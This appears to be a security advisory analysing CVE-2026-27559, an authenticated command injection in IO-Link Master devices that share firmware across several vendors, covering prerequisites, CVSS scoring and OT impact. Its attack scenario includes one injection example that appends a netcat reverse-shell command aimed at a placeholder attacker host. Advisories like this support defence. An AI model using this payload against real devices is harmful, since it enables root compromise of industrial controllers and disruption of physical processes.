IO-Link Masters CVE-2026-27559

Exploitation requires valid credentials for any account capable of authenticating to the /api/status/data REST endpoint - low-privilege accounts such as read-only monitoring or operator roles are sufficient (PR:L). Network-level access to the device's management or primary Ethernet interface port is required. No special non-default configuration is indicated as a prerequisite; the vulnerable endpoint appears present and reachable in standard firmware across all listed device variants. Exploitation is bounded by: (1) the need for at least low-privilege credentials, meaning fully unauthenticated exploitation is not possible; (2) the typically air-gapped or segmented nature of OT networks, which may limit exposure to attackers already inside the industrial LAN or management VLAN; and (3) the requirement for direct network reachability to the device's API port. The involvement of multiple vendor families sharing the same firmware codebase expands the effective target population.

The CVSS 8.8 score (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) accurately reflects that exploitation requires only low-privilege credentials, is network-accessible without complex preconditions, and yields complete confidentiality, integrity, and availability impact on the device. The S:U (no scope change) designation may understate real-world OT impact: IO-Link Masters directly control physical process I/O, and root-level compromise could enable manipulation of connected sensors and actuators, disrupting industrial processes in ways that extend well beyond the device itself - a factor not captured in the standard CVSS framing. No EPSS score is provided in the available data; exploitation probability cannot be quantified beyond the structural signals. With no CISA KEV listing and no known public exploit code, immediate mass exploitation is not confirmed, though the low credential barrier (PR:L) is significant in industrial environments where low-privilege monitoring accounts are routinely issued to operators, contractors, and integrated SCADA/HMI management systems. The three-vendor coordinated disclosure implies a shared vulnerable firmware component, increasing the total deployment surface considerably compared to a single-vendor finding. AC:L is consistent - no race conditions or complex setup are required beyond holding valid credentials and network access to the device's API port.

An attacker holding a low-privilege monitoring or operator account on an IO-Link Master - such as one issued to a maintenance contractor or integrated into a SCADA polling service - sends a crafted HTTP GET request to /api/status/data with shell metacharacters injected into a credential or query parameter (e.g., appending ; nc attacker 4444 -e /bin/sh to a field). The backend process, running as root, executes the injected command, granting the attacker a root shell on the device. From that position, the attacker can alter IO-Link channel configurations, disable connected sensors or actuators to disrupt the physical process, exfiltrate credentials or network configuration stored on the device, and use the device as a pivot point to reach other OT network segments.